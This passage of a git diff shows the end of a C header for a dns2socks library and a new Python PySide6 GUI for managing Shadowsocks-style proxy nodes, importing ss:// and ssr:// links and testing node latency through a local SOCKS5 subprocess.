jboolean force_tcp,
|
||||
jboolean cache_records,
|
||||
jint verbosity,
|
||||
jint timeout);
|
||||
|
||||
/**
|
||||
* # Safety
|
||||
*
|
||||
* Shutdown dns2socks
|
||||
*/
|
||||
jint Java_com_github_shadowsocks_bg_Dns2socks_stop(JNIEnv _env, JClass);
|
||||
|
||||
/**
|
||||
* # Safety
|
||||
*
|
||||
* Run the dns2socks component with some arguments.
|
||||
* Parameters:
|
||||
* - listen_addr: the listen address, e.g. "0.0.0.0:53", or null to use the default value
|
||||
* - dns_remote_server: the dns remote server, e.g. "8.8.8.8:53", or null to use the default value
|
||||
* - socks5_settings: the socks5 server, e.g. "socks5://[username[:password]@]host:port", or null to use the default value
|
||||
* - force_tcp: whether to force tcp, true or false, default is false
|
||||
* - cache_records: whether to cache dns records, true or false, default is false
|
||||
* - verbosity: the verbosity level, see ArgVerbosity enum, default is ArgVerbosity::Info
|
||||
* - timeout: the timeout in seconds, default is 5
|
||||
*/
|
||||
int dns2socks_start(const char *listen_addr,
|
||||
const char *dns_remote_server,
|
||||
const char *socks5_settings,
|
||||
bool force_tcp,
|
||||
bool cache_records,
|
||||
enum Dns2socksVerbosity verbosity,
|
||||
int32_t timeout);
|
||||
|
||||
/**
|
||||
* # Safety
|
||||
*
|
||||
* Shutdown the dns2socks component.
|
||||
*/
|
||||
int dns2socks_stop(void);
|
||||
|
||||
/**
|
||||
* # Safety
|
||||
*
|
||||
* set dump log info callback.
|
||||
*/
|
||||
void dns2socks_set_log_callback(void (*callback)(enum Dns2socksVerbosity, const char*, void*),
|
||||
void *ctx);
|
||||
|
||||
#ifdef __cplusplus
|
||||
} // extern "C"
|
||||
#endif // __cplusplus
|
||||
756
python/main.py
Normal file
756
python/main.py
Normal file
@ -0,0 +1,756 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
"""
|
||||
多节点 GUI(PySide6)用于管控 ss_client_aes256cfb.py:
|
||||
- 支持:多节点管理、从链接导入(ss:// 与 ssr://,扩展支持 ?mx= 传 mx_head_str)、节点选择、**真实链路测速**。
|
||||
- 测速逻辑(按你的要求):
|
||||
1) 在 [60000, 61000) 随机找一个本地端口;
|
||||
2) 以子进程启动 ss_client_aes256cfb.py,监听该端口;
|
||||
3) 通过 SOCKS5 代理请求 http://www.gstatic.com/generate_204 ;
|
||||
4) 统计从发起到收到响应的时延(ms);
|
||||
5) 结束子进程。
|
||||
- 设计:GUI 只做参数、启停、日志与节点管理;核心网络逻辑仍在 CLI 中。
|
||||
- 跨平台:Windows / macOS / Linux。
|
||||
- 持久化:~/.ss_client_gui.json 保存全部节点与当前选中项。
|
||||
|
||||
依赖:
|
||||
pip install PySide6 requests PySocks
|
||||
用法:
|
||||
python ss_client_gui_qt.py
|
||||
|
||||
打包(可选):
|
||||
pip install pyinstaller
|
||||
pyinstaller -F -w ss_client_gui_qt.py
|
||||
"""
|
||||
from __future__ import annotations
|
||||
|
||||
import base64
|
||||
import json
|
||||
import os
|
||||
import random
|
||||
import socket
|
||||
import subprocess
|
||||
import sys
|
||||
import time
|
||||
from dataclasses import dataclass, asdict
|
||||
from pathlib import Path
|
||||
from typing import Dict, List, Optional, Tuple
|
||||
from urllib.parse import parse_qs, unquote, urlparse
|
||||
|
||||
import requests
|
||||
try:
|
||||
import socks
|
||||
except ImportError:
|
||||
raise SystemExit("PySocks not found. Install with: pip install PySocks")
|
||||
from PySide6.QtCore import QProcess, Qt, QThread, Signal, QPropertyAnimation, QRect, QEasingCurve
|
||||
from PySide6.QtGui import QIcon, QTextCursor, QColor
|
||||
from PySide6.QtWidgets import (
|
||||
QApplication,
|
||||
QWidget,
|
||||
QLabel,
|
||||
QLineEdit,
|
||||
QSpinBox,
|
||||
QPushButton,
|
||||
QTextEdit,
|
||||
QGridLayout,
|
||||
QFileDialog,
|
||||
QMessageBox,
|
||||
QHBoxLayout,
|
||||
QListWidget,
|
||||
QListWidgetItem,
|
||||
QGroupBox,
|
||||
QVBoxLayout,
|
||||
QDialog,
|
||||
QStyleFactory,
|
||||
QGraphicsDropShadowEffect,
|
||||
)
|
||||
|
||||
CONFIG_FILE = Path.cwd() / ".ss_client_gui.json"
|
||||
DEFAULT_SCRIPT = "ss.exe" # 开发态可改为 "ss.py";下面会自动判断
|
||||
TEST_URL = "http://1.1.1.1"
|
||||
TEST_RANGE = (60000, 61000) # [low, high)
|
||||
|
||||
|
||||
# ------------------------------ 数据模型 ---------------------------------- #
|
||||
|
||||
@dataclass
|
||||
class Node:
|
||||
"""单个节点配置。"""
|
||||
name: str
|
||||
server: str
|
||||
port: int
|
||||
password: str
|
||||
mx: str = "HELLO"
|
||||
|
||||
|
||||
@dataclass
|
||||
class LaunchConfig:
|
||||
"""GUI 全局配置(含节点集合)。"""
|
||||
script_path: str
|
||||
nodes: List[Node]
|
||||
selected: int = 0
|
||||
listen_host: str = "0.0.0.0"
|
||||
listen_port: int = 10477 # 仅 GUI 启停使用;测速使用随机端口
|
||||
log_level: str = "INFO"
|
||||
|
||||
|
||||
# ------------------------------ 工具函数 ---------------------------------- #
|
||||
|
||||
def app_base_dir() -> Path:
|
||||
return Path(sys.executable).parent if getattr(sys, "frozen", False) \
|
||||
else Path(__file__).resolve().parent
|
||||
|
||||
def _default_script_path() -> str:
|
||||
return str((app_base_dir() / DEFAULT_SCRIPT).resolve())
|
||||
|
||||
def _resolve_cmd(script_path: str, extra_args: list[str]) -> list[str]:
|
||||
"""根据后缀拼启动命令:.exe 直接跑;.py 用当前解释器;相对路径基于程序目录。"""
|
||||
p = Path(script_path)
|
||||
if not p.is_absolute():
|
||||
p = (app_base_dir() / p).resolve()
|
||||
ext = p.suffix.lower()
|
||||
if ext in (".exe", ".bat", ".cmd"):
|
||||
return [str(p), *extra_args]
|
||||
if ext in (".py", ""):
|
||||
return [sys.executable, str(p), *extra_args]
|
||||
return [str(p), *extra_args]
|
||||
|
||||
|
||||
def _b64_decode_padded(s: str) -> bytes:
|
||||
"""URL 安全 base64 解码,自动补齐 padding。"""
|
||||
s = unquote(s.strip())
|
||||
pad = (-len(s)) % 4
|
||||
if pad:
|
||||
s += "=" * pad
|
||||
try:
|
||||
import base64 as _b64
|
||||
return _b64.urlsafe_b64decode(s.encode("utf-8"))
|
||||
except Exception:
|
||||
return base64.b64decode(s.encode("utf-8") + b"==")
|
||||
|
||||
|
||||
def parse_ss_uri(uri: str) -> Optional[Node]:
|
||||
"""解析 ss:// 链接(两种常见形式)并返回 Node。支持 ?mx= 扩展。"""
|
||||
try:
|
||||
if not uri.startswith("ss://"):
|
||||
return None
|
||||
body = uri[5:]
|
||||
if "@" in body and "://" not in body:
|
||||
parsed = urlparse(uri.replace("ss://", "http://", 1))
|
||||
userinfo = parsed.username or ""
|
||||
method, _, password = (userinfo or ":").partition(":")
|
||||
host = parsed.hostname or ""
|
||||
port = parsed.port or 0
|
||||
mx = (parse_qs(parsed.query or "").get("mx", [""])[0])
|
||||
tag = unquote(parsed.fragment or "")
|
||||
name = tag or f"{host}:{port}"
|
||||
if method and method.lower() != "aes-256-cfb":
|
||||
name = f"{name} (method={method})"
|
||||
return Node(name=name, server=host, port=int(port), password=password or "", mx=mx or "HELLO")
|
||||
# base64 形式
|
||||
if "#" in body:
|
||||
b64, tag = body.split("#", 1)
|
||||
tag = unquote(tag)
|
||||
else:
|
||||
b64, tag = body, ""
|
||||
decoded = _b64_decode_padded(b64).decode("utf-8")
|
||||
fake = "http://" + decoded
|
||||
parsed2 = urlparse(fake)
|
||||
method = parsed2.username or ""
|
||||
password = parsed2.password or ""
|
||||
host = parsed2.hostname or ""
|
||||
port = parsed2.port or 0
|
||||
mx = (parse_qs(parsed2.query or "").get("mx", [""])[0])
|
||||
name = tag or f"{host}:{port}"
|
||||
if method and method.lower() != "aes-256-cfb":
|
||||
name = f"{name} (method={method})"
|
||||
return Node(name=name, server=host, port=int(port), password=password, mx=mx or "HELLO")
|
||||
except Exception:
|
||||
return None
|
||||
|
||||
|
||||
def parse_ssr_uri(uri: str) -> Optional[Node]:
|
||||
"""尽力解析 ssr:// 链接,提取 server/port/method/password/remarks。"""
|
||||
try:
|
||||
if not uri.startswith("ssr://"):
|
||||
return None
|
||||
payload = uri[6:]
|
||||
decoded = _b64_decode_padded(payload).decode("utf-8")
|
||||
main, _, qs = decoded.partition("/?")
|
||||
parts = main.split(":")
|
||||
if len(parts) < 6:
|
||||
return None
|
||||
host, port_str, _proto, method, _obfs, b64pass = parts[:6]
|
||||
password = _b64_decode_padded(b64pass).decode("utf-8")
|
||||
name = f"{host}:{port_str}"
|
||||
if qs:
|
||||
q = parse_qs(qs)
|
||||
if "remarks" in q:
|
||||
try:
|
||||
name = _b64_decode_padded(q["remarks"][0]).decode("utf-8") or name
|
||||
except Exception:
|
||||
pass
|
||||
if method and method.lower() != "aes-256-cfb":
|
||||
name = f"{name} (method={method})"
|
||||
return Node(name=name, server=host, port=int(port_str), password=password, mx="HELLO")
|
||||
except Exception:
|
||||
return None
|
||||
|
||||
|
||||
def _pick_free_port(low: int, high: int) -> int:
|
||||
"""在 [low, high) 里随机挑一个可绑定的端口。"""
|
||||
for _ in range(50):
|
||||
p = random.randint(low, high - 1)
|
||||
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
|
||||
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||
try:
|
||||
s.bind(("127.0.0.1", p))
|
||||
return p
|
||||
except OSError:
|
||||
continue
|
||||
# 兜底:返回范围起点
|
||||
return low
|
||||
|
||||
|
||||
def _wait_port_open(host: str, port: int, timeout: float) -> bool:
|
||||
"""等待端口可连接。"""
|
||||
t0 = time.time()
|
||||
while time.time() - t0 < timeout:
|
||||
try:
|
||||
with socket.create_connection((host, port), timeout=0.3):
|
||||
return True
|
||||
except OSError:
|
||||
time.sleep(0.05)
|
||||
return False
|
||||
|
||||
|
||||
# ------------------------------ 测速线程 ---------------------------------- #
|
||||
|
||||
class LatencyWorker(QThread):
|
||||
"""真实链路测速:起本地代理→走 SOCKS5 拉取 generate_204 → 计时。"""
|
||||
|
||||
result = Signal(int, float, str) # (index, latency_ms or -1, message)
|
||||
|
||||
def __init__(self, index: int, node: Node, script_path: str, log_level: str = "ERROR", url: str = TEST_URL) -> None:
|
||||
super().__init__()
|
||||
self.index = index
|
||||
self.node = node
|
||||
self.script_path = script_path
|
||||
self.log_level = log_level
|
||||
self.url = url
|
||||
self.proc: Optional[subprocess.Popen] = None
|
||||
self.local_port: int = 0
|
||||
|
||||
def run(self) -> None: # noqa: D401 - Qt 线程入口
|
||||
try:
|
||||
self.local_port = _pick_free_port(*TEST_RANGE)
|
||||
core_args = [
|
||||
"--remote-host", self.node.server,
|
||||
"--remote-port", str(self.node.port),
|
||||
"--password", self.node.password,
|
||||
"--mx", self.node.mx,
|
||||
"--listen", "0.0.0.0",
|
||||
"--port", str(self.local_port),
|
||||
"--log", self.log_level,
|
||||
]
|
||||
cmd = _resolve_cmd(self.script_path, core_args)
|
||||
#print(cmd)
|
||||
# 启动子进程(静默)
|
||||
# 关键修复:设置子进程的工作目录为 exe 所在目录
|
||||
# 这能确保它能找到依赖的 DLL 或其他资源文件
|
||||
cwd = Path(cmd[0]).parent
|
||||
#print(cwd)
|
||||
self.proc = subprocess.Popen(
|
||||
cmd,
|
||||
stdout=subprocess.PIPE,
|
||||
stderr=subprocess.STDOUT,
|
||||
creationflags=(subprocess.CREATE_NO_WINDOW if os.name == "nt" else 0),
|
||||
cwd=cwd,
|
||||
)
|
||||
if not _wait_port_open("localhost", self.local_port, timeout=5.0):
|
||||
raise RuntimeError("本地代理启动超时")
|
||||
|
||||
proxies = {
|
||||
"http": f"socks5h://127.0.0.1:{self.local_port}",
|
||||
"https": f"socks5h://127.0.0.1:{self.local_port}",
|
||||
}
|
||||
t0 = time.time()
|
||||
r = requests.get(self.url, proxies=proxies, timeout=8.0, allow_redirects=False)
|
||||
# generate_204 正常返回 204,无 body
|
||||
if r.status_code not in (204, 200, 301, 302):
|
||||
raise RuntimeError(f"HTTP {r.status_code}")
|
||||
ms = (time.time() - t0) * 1000.0
|
||||
self.result.emit(self.index, ms, "ok")
|
||||
except Exception as e:
|
||||
print(e)
|
||||
self.result.emit(self.index, -1.0, str(e))
|
||||
finally:
|
||||
# 清理子进程
|
||||
if self.proc:
|
||||
try:
|
||||
self.proc.terminate()
|
||||
try:
|
||||
self.proc.wait(timeout=2.0)
|
||||
except subprocess.TimeoutExpired:
|
||||
self.proc.kill()
|
||||
self.proc.wait(timeout=1.0)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
|
||||
# ------------------------------ GUI 主体 ---------------------------------- #
|
||||
|
||||
class SsGui(QWidget):
|
||||
def __init__(self) -> None:
|
||||
super().__init__()
|
||||
self.setWindowTitle("Galaxy's Muxun Client")
|
||||
if sys.platform.startswith("win"):
|
||||
self.setWindowIcon(QIcon())
|
||||
|
||||
# 设置窗口的样式
|
||||
self.setStyle(QStyleFactory.create("Fusion")) # 使用融合风格,适应各平台
|
||||
|
||||
# 配置窗口的背景颜色和字体
|
||||
self.setStyleSheet("""
|
||||
QWidget {
|
||||
background-color: #f4f4f9;
|
||||
color: #333333;
|
||||
font-family: Arial, Helvetica, sans-serif;
|
||||
font-size: 12pt;
|
||||
}
|
||||
QPushButton {
|
||||
background-color: #6c757d;
|
||||
color: white;
|
||||
border-radius: 8px;
|
||||
padding: 8px;
|
||||
font-size: 11pt;
|
||||
}
|
||||
QPushButton:hover {
|
||||
background-color: #5a6268;
|
||||
}
|
||||
QPushButton:pressed {
|
||||
background-color: #495057;
|
||||
}
|
||||
QLineEdit {
|
||||
border: 1px solid #ccc;
|
||||
border-radius: 5px;
|
||||
padding: 5px;
|
||||
}
|
||||
QTextEdit {
|
||||
border: 1px solid #ccc;
|
||||
border-radius: 5px;
|
||||
padding: 5px;
|
||||
}
|
||||
QListWidget {
|
||||
border: 1px solid #ccc;
|
||||
border-radius: 5px;
|
||||
padding: 5px;
|
||||
}
|
||||
QGroupBox {
|
||||
background-color: #e9ecef;
|
||||
border-radius: 8px;
|
||||
padding: 10px;
|
||||
}
|
||||
QLabel {
|
||||
color: #444;
|
||||
}
|
||||
""")
|
||||
|
||||
self.proc: QProcess | None = None
|
||||
self.latency_threads: List[LatencyWorker] = []
|
||||
self.cfg = self._load_config()
|
||||
self._init_ui()
|
||||
self._refresh_list()
|
||||
self._load_selected_to_form()
|
||||
|
||||
def _init_ui(self) -> None:
|
||||
layout = QGridLayout(self)
|
||||
row = 0
|
||||
|
||||
# 左侧:节点列表 + 操作按钮
|
||||
left_box = QVBoxLayout()
|
||||
self.list_nodes = QListWidget(self)
|
||||
self.list_nodes.currentRowChanged.connect(self._on_select_changed)
|
||||
left_box.addWidget(self.list_nodes)
|
||||
|
||||
btns_row = QHBoxLayout()
|
||||
self.btn_add = QPushButton("新增", self)
|
||||
self.btn_import = QPushButton("导入链接", self)
|
||||
self.btn_delete = QPushButton("删除", self)
|
||||
self.btn_test = QPushButton("测速", self)
|
||||
self.btn_test_all = QPushButton("全部测速", self)
|
||||
for b in (self.btn_add, self.btn_import, self.btn_delete, self.btn_test, self.btn_test_all):
|
||||
btns_row.addWidget(b)
|
||||
left_box.addLayout(btns_row)
|
||||
|
||||
self.btn_add.clicked.connect(self._add_node)
|
||||
self.btn_import.clicked.connect(self._import_links)
|
||||
self.btn_delete.clicked.connect(self._delete_node)
|
||||
self.btn_test.clicked.connect(self._test_selected)
|
||||
self.btn_test_all.clicked.connect(self._test_all)
|
||||
|
||||
# 右侧:节点详情
|
||||
right_grp = QGroupBox("节点详情", self)
|
||||
fg = QGridLayout(right_grp)
|
||||
r = 0
|
||||
fg.addWidget(QLabel("名称"), r, 0)
|
||||
self.edit_name = QLineEdit(self); fg.addWidget(self.edit_name, r, 1, 1, 3); r += 1
|
||||
fg.addWidget(QLabel("远端IP/域名"), r, 0)
|
||||
self.edit_remote_host = QLineEdit(self); fg.addWidget(self.edit_remote_host, r, 1)
|
||||
fg.addWidget(QLabel("端口"), r, 2)
|
||||
self.spin_remote_port = QSpinBox(self); self.spin_remote_port.setRange(1, 65535)
|
||||
fg.addWidget(self.spin_remote_port, r, 3); r += 1
|
||||
fg.addWidget(QLabel("密码"), r, 0)
|
||||
self.edit_password = QLineEdit(self); self.edit_password.setEchoMode(QLineEdit.Password)
|
||||
fg.addWidget(self.edit_password, r, 1)
|
||||
fg.addWidget(QLabel("mx_head_str"), r, 2)
|
||||
self.edit_mx = QLineEdit(self); fg.addWidget(self.edit_mx, r, 3); r += 1
|
||||
|
||||
# 全局设置
|
||||
sys_grp = QGroupBox("全局设置", self)
|
||||
sg = QGridLayout(sys_grp)
|
||||
c = 0
|
||||
sg.addWidget(QLabel("脚本"), c, 0)
|
||||
self.edit_script = QLineEdit(self)
|
||||
btn_browse = QPushButton("浏览…", self); btn_browse.clicked.connect(self._browse_script)
|
||||
hb = QHBoxLayout(); hb.addWidget(self.edit_script); hb.addWidget(btn_browse)
|
||||
sg.addLayout(hb, c, 1, 1, 3); c += 1
|
||||
sg.addWidget(QLabel("本地监听IP"), c, 0)
|
||||
self.edit_listen_host = QLineEdit(self); sg.addWidget(self.edit_listen_host, c, 1)
|
||||
sg.addWidget(QLabel("端口"), c, 2)
|
||||
self.spin_listen_port = QSpinBox(self); self.spin_listen_port.setRange(1, 65535)
|
||||
sg.addWidget(self.spin_listen_port, c, 3); c += 1
|
||||
sg.addWidget(QLabel("日志级别"), c, 0)
|
||||
self.edit_log = QLineEdit(self); self.edit_log.setPlaceholderText("DEBUG/INFO/WARNING/ERROR")
|
||||
sg.addWidget(self.edit_log, c, 1)
|
||||
|
||||
# 启停按钮
|
||||
self.btn_start = QPushButton("启动", self)
|
||||
self.btn_stop = QPushButton("停止", self); self.btn_stop.setEnabled(False)
|
||||
self.btn_save = QPushButton("保存节点", self)
|
||||
self.btn_start.clicked.connect(self.start_process)
|
||||
self.btn_stop.clicked.connect(self.stop_process)
|
||||
self.btn_save.clicked.connect(self._save_node_from_form)
|
||||
|
||||
# 日志
|
||||
self.text_log = QTextEdit(self); self.text_log.setReadOnly(True)
|
||||
self.text_log.setPlaceholderText("日志输出…")
|
||||
|
||||
# 布局拼装
|
||||
layout.addLayout(left_box, row, 0, 3, 1)
|
||||
layout.addWidget(right_grp, row, 1)
|
||||
row += 1
|
||||
layout.addWidget(sys_grp, row, 1)
|
||||
row += 1
|
||||
btn_row = QHBoxLayout(); btn_row.addWidget(self.btn_save); btn_row.addStretch(1); btn_row.addWidget(self.btn_start); btn_row.addWidget(self.btn_stop)
|
||||
layout.addLayout(btn_row, row, 1)
|
||||
row += 1
|
||||
layout.addWidget(self.text_log, row, 0, 1, 2)
|
||||
|
||||
self.setLayout(layout)
|
||||
self.resize(980, 640)
|
||||
|
||||
# 添加微动效
|
||||
self._add_button_animation(self.btn_add)
|
||||
self._add_button_animation(self.btn_import)
|
||||
self._add_button_animation(self.btn_delete)
|
||||
self._add_button_animation(self.btn_test)
|
||||
self._add_button_animation(self.btn_test_all)
|
||||
|
||||
def _add_button_animation(self, button: QPushButton):
|
||||
"""为按钮添加点击动画效果"""
|
||||
animation = QPropertyAnimation(button, b"geometry")
|
||||
animation.setDuration(200)
|
||||
animation.setStartValue(QRect(button.x(), button.y(), button.width(), button.height()))
|
||||
animation.setEndValue(QRect(button.x() - 5, button.y() - 5, button.width(), button.height()))
|
||||
animation.setEasingCurve(QEasingCurve.Type.OutQuad)
|
||||
button.clicked.connect(lambda: animation.start())
|
||||
|
||||
# ------------------------------ 配置读写 ------------------------------ #
|
||||
def _load_config(self) -> LaunchConfig:
|
||||
# 兼容旧版:若存在单节点字段则迁移
|
||||
if CONFIG_FILE:
|
||||
try:
|
||||
data = json.loads(CONFIG_FILE.read_text(encoding="utf-8"))
|
||||
if "nodes" in data:
|
||||
nodes = [Node(**n) for n in data["nodes"]]
|
||||
return LaunchConfig(
|
||||
script_path=data.get("script_path", _default_script_path()),
|
||||
nodes=nodes,
|
||||
selected=int(data.get("selected", 0)),
|
||||
listen_host=data.get("listen_host", "127.0.0.1"),
|
||||
listen_port=int(data.get("listen_port", 1080)),
|
||||
log_level=data.get("log_level", "INFO"),
|
||||
)
|
||||
# 迁移旧格式
|
||||
node = Node(
|
||||
name=f"{data.get('remote_host','127.0.0.1')}:{int(data.get('remote_port',8388))}",
|
||||
server=data.get("remote_host", "127.0.0.1"),
|
||||
port=int(data.get("remote_port", 8388)),
|
||||
password=data.get("password", "secret123"),
|
||||
mx=data.get("mx_head_str", "HELLO"),
|
||||
)
|
||||
return LaunchConfig(
|
||||
script_path=data.get("script_path", _default_script_path()),
|
||||
nodes=[node],
|
||||
selected=0,
|
||||
listen_host=data.get("listen_host", "127.0.0.1"),
|
||||
listen_port=int(data.get("listen_port", 1080)),
|
||||
log_level=data.get("log_level", "INFO"),
|
||||
)
|
||||
except Exception:
|
||||
pass
|
||||
return LaunchConfig(
|
||||
script_path=_default_script_path(),
|
||||
nodes=[Node(name="demo", server="127.0.0.1", port=8388, password="secret123", mx="HELLO")],
|
||||
selected=0,
|
||||
)
|
||||
|
||||
def _save_all(self) -> None:
|
||||
data = asdict(self.cfg)
|
||||
CONFIG_FILE.write_text(json.dumps(data, ensure_ascii=False, indent=2), encoding="utf-8")
|
||||
self._append_log(f"已保存到 {CONFIG_FILE}")
|
||||
|
||||
# ------------------------------ 列表与表单 ---------------------------- #
|
||||
def _refresh_list(self) -> None:
|
||||
self.list_nodes.clear()
|
||||
for i, n in enumerate(self.cfg.nodes):
|
||||
item = QListWidgetItem(f"{n.name}")
|
||||
item.setData(Qt.UserRole, i)
|
||||
self.list_nodes.addItem(item)
|
||||
if not self.cfg.nodes:
|
||||
self.cfg.nodes.append(Node(name="demo", server="127.0.0.1", port=8388, password="secret123", mx="HELLO"))
|
||||
idx = max(0, min(self.cfg.selected, len(self.cfg.nodes) - 1))
|
||||
self.list_nodes.setCurrentRow(idx)
|
||||
|
||||
def _load_selected_to_form(self) -> None:
|
||||
n = self._current_node()
|
||||
if not n:
|
||||
return
|
||||
self.edit_name.setText(n.name)
|
||||
self.edit_remote_host.setText(n.server)
|
||||
self.spin_remote_port.setValue(n.port)
|
||||
self.edit_password.setText(n.password)
|
||||
self.edit_mx.setText(n.mx)
|
||||
self.edit_script.setText(self.cfg.script_path)
|
||||
self.edit_listen_host.setText(self.cfg.listen_host)
|
||||
self.spin_listen_port.setValue(self.cfg.listen_port)
|
||||
self.edit_log.setText(self.cfg.log_level)
|
||||
|
||||
def _current_node(self) -> Optional[Node]:
|
||||
idx = self.list_nodes.currentRow()
|
||||
if 0 <= idx < len(self.cfg.nodes):
|
||||
self.cfg.selected = idx
|
||||
return self.cfg.nodes[idx]
|
||||
return None
|
||||
|
||||
def _on_select_changed(self, _row: int) -> None:
|
||||
self._load_selected_to_form()
|
||||
|
||||
# ------------------------------ 节点操作 ------------------------------ #
|
||||
def _add_node(self) -> None:
|
||||
self.cfg.nodes.append(Node(name="new", server="127.0.0.1", port=8388, password="", mx="HELLO"))
|
||||
self._refresh_list()
|
||||
self._save_all()
|
||||
|
||||
def _delete_node(self) -> None:
|
||||
idx = self.list_nodes.currentRow()
|
||||
if idx < 0 or idx >= len(self.cfg.nodes):
|
||||
return
|
||||
if QMessageBox.question(self, "确认", "删除当前节点?") != QMessageBox.Yes:
|
||||
return
|
||||
self.cfg.nodes.pop(idx)
|
||||
self._refresh_list()
|
||||
self._save_all()
|
||||
|
||||
def _save_node_from_form(self) -> None:
|
||||
n = self._current_node()
|
||||
if not n:
|
||||
return
|
||||
server = self.edit_remote_host.text().strip()
|
||||
if not server:
|
||||
QMessageBox.warning(self, "无效参数", "远端地址不能为空")
|
||||
return
|
||||
port = int(self.spin_remote_port.value())
|
||||
if not (1 <= port <= 65535):
|
||||
QMessageBox.warning(self, "无效参数", "端口范围 1-65535")
|
||||
return
|
||||
n.name = self.edit_name.text().strip() or f"{server}:{port}"
|
||||
n.server = server
|
||||
n.port = port
|
||||
n.password = self.edit_password.text()
|
||||
n.mx = self.edit_mx.text()
|
||||
self.cfg.script_path = self.edit_script.text().strip() or _default_script_path()
|
||||
self.cfg.listen_host = self.edit_listen_host.text().strip() or "127.0.0.1"
|
||||
self.cfg.listen_port = int(self.spin_listen_port.value())
|
||||
self.cfg.log_level = self.edit_log.text().strip() or "INFO"
|
||||
self._refresh_list()
|
||||
self._save_all()
|
||||
|
||||
def _import_links(self) -> None:
|
||||
"""从文本/剪贴板导入多条链接(ss:// 或 ssr://)。"""
|
||||
dlg = QDialog(self)
|
||||
dlg.setWindowTitle("导入链接(每行一个)")
|
||||
v = QVBoxLayout(dlg)
|
||||
edit = QTextEdit(dlg)
|
||||
edit.setPlaceholderText("粘贴 ss:// 或 ssr:// 链接,每行一条。\n扩展:在 ss 链接中可使用 ?mx=... 传 mx_head_str。")
|
||||
v.addWidget(edit)
|
||||
btn_row = QHBoxLayout();
|
||||
b_ok = QPushButton("导入", dlg); b_cancel = QPushButton("取消", dlg)
|
||||
btn_row.addWidget(b_ok); btn_row.addWidget(b_cancel)
|
||||
v.addLayout(btn_row)
|
||||
b_ok.clicked.connect(dlg.accept)
|
||||
b_cancel.clicked.connect(dlg.reject)
|
||||
if not dlg.exec():
|
||||
return
|
||||
|
||||
count = 0
|
||||
for line in edit.toPlainText().splitlines():
|
||||
line = line.strip()
|
||||
if not line:
|
||||
continue
|
||||
node = parse_ss_uri(line) or parse_ssr_uri(line)
|
||||
if node:
|
||||
self.cfg.nodes.append(node)
|
||||
count += 1
|
||||
if count > 0:
|
||||
self._refresh_list()
|
||||
self._save_all()
|
||||
self._append_log(f"成功导入 {count} 个节点。")
|
||||
|
||||
# ------------------------------ 核心流程 ------------------------------ #
|
||||
def _test_selected(self) -> None:
|
||||
n = self._current_node()
|
||||
if n:
|
||||
self._test_nodes([self.cfg.selected])
|
||||
|
||||
def _test_all(self) -> None:
|
||||
self._test_nodes(list(range(len(self.cfg.nodes))))
|
||||
|
||||
def _test_nodes(self, indices: List[int]) -> None:
|
||||
self.latency_threads = [t for t in self.latency_threads if t.isRunning()]
|
||||
if any(t.isRunning() for t in self.latency_threads):
|
||||
QMessageBox.information(self, "提示", "已有测速任务在进行中。")
|
||||
return
|
||||
|
||||
for i in indices:
|
||||
self.list_nodes.item(i).setText(f"{self.cfg.nodes[i].name} (测速中…)")
|
||||
worker = LatencyWorker(i, self.cfg.nodes[i], self.cfg.script_path, self.cfg.log_level)
|
||||
worker.result.connect(self._on_latency_result)
|
||||
worker.start()
|
||||
self.latency_threads.append(worker)
|
||||
|
||||
def _on_latency_result(self, index: int, ms: float, msg: str) -> None:
|
||||
name = self.cfg.nodes[index].name
|
||||
text = f"{name} ({ms:.1f} ms)" if ms > 0 else f"{name} (失败: {msg})"
|
||||
self.list_nodes.item(index).setText(text)
|
||||
|
||||
def start_process(self) -> None:
|
||||
"""启动核心进程。"""
|
||||
n = self._current_node()
|
||||
if not n:
|
||||
return
|
||||
self._save_node_from_form() # 启动前自动保存一次
|
||||
args = self._build_cli_args(n)
|
||||
prog, prog_args = self._program_and_args(args)
|
||||
self._append_log(f"启动: {prog} {' '.join(prog_args)}")
|
||||
|
||||
self.proc = QProcess(self)
|
||||
# 合并 stdout/stderr, 确保所有输出都能被捕获
|
||||
self.proc.setProcessChannelMode(QProcess.MergedChannels)
|
||||
self.proc.setReadChannel(QProcess.StandardOutput)
|
||||
# 关键修复:同样为 QProcess 设置工作目录
|
||||
self.proc.setWorkingDirectory(str(Path(prog).parent))
|
||||
self.proc.setProgram(prog)
|
||||
self.proc.setArguments(prog_args)
|
||||
self.proc.readyReadStandardOutput.connect(self._read_stdout)
|
||||
self.proc.finished.connect(self._on_finished)
|
||||
self.proc.start()
|
||||
|
||||
self.btn_start.setEnabled(False)
|
||||
self.btn_stop.setEnabled(True)
|
||||
|
||||
def stop_process(self) -> None:
|
||||
if not self.proc:
|
||||
return
|
||||
self.proc.terminate()
|
||||
if not self.proc.waitForFinished(3000):
|
||||
self.proc.kill()
|
||||
self.proc.waitForFinished(2000)
|
||||
self.proc = None
|
||||
self.btn_start.setEnabled(True)
|
||||
self.btn_stop.setEnabled(False)
|
||||
self._append_log("已停止。")
|
||||
|
||||
def _read_stdout(self) -> None:
|
||||
if not self.proc:
|
||||
return
|
||||
text = self.proc.readAllStandardOutput().data().decode("utf-8", errors="replace")
|
||||
self.text_log.moveCursor(QTextCursor.End)
|
||||
self.text_log.insertPlainText(text)
|
||||
self.text_log.moveCursor(QTextCursor.End)
|
||||
|
||||
def _on_finished(self, code: int, _status) -> None:
|
||||
self._append_log(f"进程退出,code={code}\n")
|
||||
self.proc = None
|
||||
self.btn_start.setEnabled(True)
|
||||
self.btn_stop.setEnabled(False)
|
||||
|
||||
def _browse_script(self) -> None:
|
||||
path, _ = QFileDialog.getOpenFileName(
|
||||
self, "选择核心(可执行/脚本)", str(app_base_dir()),
|
||||
"Executable (*.exe);;Python (*.py);;All (*)"
|
||||
)
|
||||
if path:
|
||||
self.edit_script.setText(path)
|
||||
|
||||
def _build_cli_args(self, n: Node) -> List[str]:
|
||||
return [
|
||||
"--remote-host", n.server,
|
||||
"--remote-port", str(n.port),
|
||||
"--password", n.password,
|
||||
"--mx", n.mx,
|
||||
"--listen", self.cfg.listen_host,
|
||||
"--port", str(self.cfg.listen_port),
|
||||
"--log", self.cfg.log_level,
|
||||
]
|
||||
|
||||
def _program_and_args(self, base_args: list[str]) -> tuple[str, list[str]]:
|
||||
"""QProcess 版同样按后缀选择:exe 直跑;py 用解释器。"""
|
||||
p = Path(self.cfg.script_path)
|
||||
if not p.is_absolute():
|
||||
